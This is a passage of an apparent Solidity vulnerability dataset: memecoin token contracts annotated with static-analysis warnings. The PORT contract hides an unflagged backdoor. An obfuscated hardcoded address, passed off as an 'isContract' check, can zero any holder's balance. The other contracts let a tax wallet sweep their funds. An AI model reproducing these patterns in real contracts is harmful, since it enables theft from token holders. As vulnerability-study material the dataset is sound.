}\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 095dd46): DepartmentOfPepeEconomics.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 095dd46: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 83ccf17\n\t\t// reentrancy-events | ID: 8a29096\n\t\t// reentrancy-eth | ID: 78d723d\n\t\t// arbitrary-send-eth | ID: 095dd46\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 021856f): DepartmentOfPepeEconomics.bots is never initialized. It is used in DepartmentOfPepeEconomics._transfer(address,address,uint256) DepartmentOfPepeEconomics.isBot(address)\n\t// Recommendation for 021856f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d122451): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d122451: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ae06cee): DepartmentOfPepeEconomics.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ae06cee: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 13fe94a): DepartmentOfPepeEconomics.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 13fe94a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ced39b6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ced39b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d122451\n\t\t// reentrancy-eth | ID: ced39b6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d122451\n\t\t// unused-return | ID: ae06cee\n\t\t// reentrancy-eth | ID: ced39b6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d122451\n\t\t// unused-return | ID: 13fe94a\n\t\t// reentrancy-eth | ID: ced39b6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d122451\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ced39b6\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10561.sol",
"size_bytes": 21547,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebae1cb): AYA._taxWallet should be immutable \n\t// Recommendation for ebae1cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331f252): AYA._finalBuyTax should be constant \n\t// Recommendation for 331f252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc14a52): AYA._finalSellTax should be constant \n\t// Recommendation for cc14a52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = unicode\"AYA\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548fcf): AYA._taxSwapThreshold should be constant \n\t// Recommendation for 7548fcf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1cbe3): AYA._maxTaxSwap should be constant \n\t// Recommendation for fb1cbe3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe570b0): AYA.caBlockLimit should be constant \n\t// Recommendation for fe570b0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bfa854): AYA.caLimit should be constant \n\t// Recommendation for 6bfa854: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f7e5c9): AYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f7e5c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1beeed1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1beeed1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9356b47): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9356b47: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1beeed1\n\t\t// reentrancy-benign | ID: 9356b47\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1beeed1\n\t\t// reentrancy-benign | ID: 9356b47\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc30930): AYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc30930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9356b47\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1beeed1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 65d6bd9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 65d6bd9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1c84a15): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1c84a15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0dee22c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0dee22c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 65d6bd9\n\t\t\t\t// reentrancy-eth | ID: 1c84a15\n\t\t\t\t// reentrancy-eth | ID: 0dee22c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 65d6bd9\n\t\t\t\t\t// reentrancy-eth | ID: 1c84a15\n\t\t\t\t\t// reentrancy-eth | ID: 0dee22c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0dee22c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0dee22c\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 65d6bd9\n\t\t\t\t// reentrancy-eth | ID: 1c84a15\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 65d6bd9\n\t\t\t\t\t// reentrancy-eth | ID: 1c84a15\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1c84a15\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 65d6bd9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1c84a15\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1c84a15\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 65d6bd9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 65d6bd9\n\t\t// reentrancy-events | ID: 1beeed1\n\t\t// reentrancy-benign | ID: 9356b47\n\t\t// reentrancy-eth | ID: 1c84a15\n\t\t// reentrancy-eth | ID: 0dee22c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: baf01b9): Missing events for critical arithmetic parameters.\n\t// Recommendation for baf01b9: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: baf01b9\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: baf01b9\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: baf01b9\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: baf01b9\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: baf01b9\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1143032): AYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 1143032: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 1143032\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 65d6bd9\n\t\t// reentrancy-events | ID: 1beeed1\n\t\t// reentrancy-eth | ID: 1c84a15\n\t\t// reentrancy-eth | ID: 0dee22c\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 40a365d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 40a365d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bd97ca4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bd97ca4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 13b548c): AYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 13b548c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 216745f): AYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 216745f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e4d10e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e4d10e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 40a365d\n\t\t// reentrancy-benign | ID: bd97ca4\n\t\t// reentrancy-eth | ID: e4d10e9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 40a365d\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 40a365d\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: bd97ca4\n\t\t// unused-return | ID: 13b548c\n\t\t// reentrancy-eth | ID: e4d10e9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bd97ca4\n\t\t// unused-return | ID: 216745f\n\t\t// reentrancy-eth | ID: e4d10e9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bd97ca4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e4d10e9\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: bd97ca4\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10562.sol",
"size_bytes": 22077,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"PORT\", unicode\"PORT\", 9, 100000000000) {}\n}\n",
"file_name": "solidity_code_10563.sol",
"size_bytes": 7294,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = 